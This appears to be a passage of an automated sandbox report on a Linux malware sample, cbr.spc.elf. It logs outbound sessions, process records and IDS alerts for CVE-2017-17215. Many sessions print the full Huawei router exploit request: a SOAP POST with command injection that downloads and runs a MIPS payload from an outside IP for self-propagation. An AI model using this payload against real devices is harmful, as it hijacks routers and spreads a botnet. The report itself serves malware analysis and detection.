65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.13	59644	134.97.23.39	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.916485071 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.13	53820	197.221.227.133	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.917287111 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.13	44950	156.13.118.195	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.918200016 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.13	45338	46.14.69.250	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.919240952 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.13	52756	156.163.195.66	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.920402050 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.13	43160	196.1.6.69	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.921215057 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.13	40610	196.208.2.191	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.922230005 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.13	58986	223.8.7.247	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.923381090 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.13	52564	223.8.154.165	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.924267054 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: cbr.spc.elf PID: 5432, Parent PID: 5356

General

Start time (UTC):	20:38:02
Start date (UTC):	06/03/2025
Path:	/tmp/cbr.spc.elf
Arguments:	/tmp/cbr.spc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	20:38:02
Start date (UTC):	06/03/2025
Path:	/tmp/cbr.spc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	20:38:02
Start date (UTC):	06/03/2025
Path:	/tmp/cbr.spc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	20:38:02
Start date (UTC):	06/03/2025
Path:	/tmp/cbr.spc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	20:38:02
Start date (UTC):	06/03/2025
Path:	/tmp/cbr.spc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	20:38:02
Start date (UTC):	06/03/2025
Path:	/tmp/cbr.spc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38120 -> 196.251.27.28:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50672 -> 197.84.9.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51144 -> 223.8.97.197:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47394 -> 41.147.108.84:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45934 -> 197.48.163.17:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41832 -> 46.255.10.184:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42964 -> 134.250.14.201:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34860 -> 197.210.237.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33512 -> 41.195.235.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47098 -> 156.236.78.194:37215
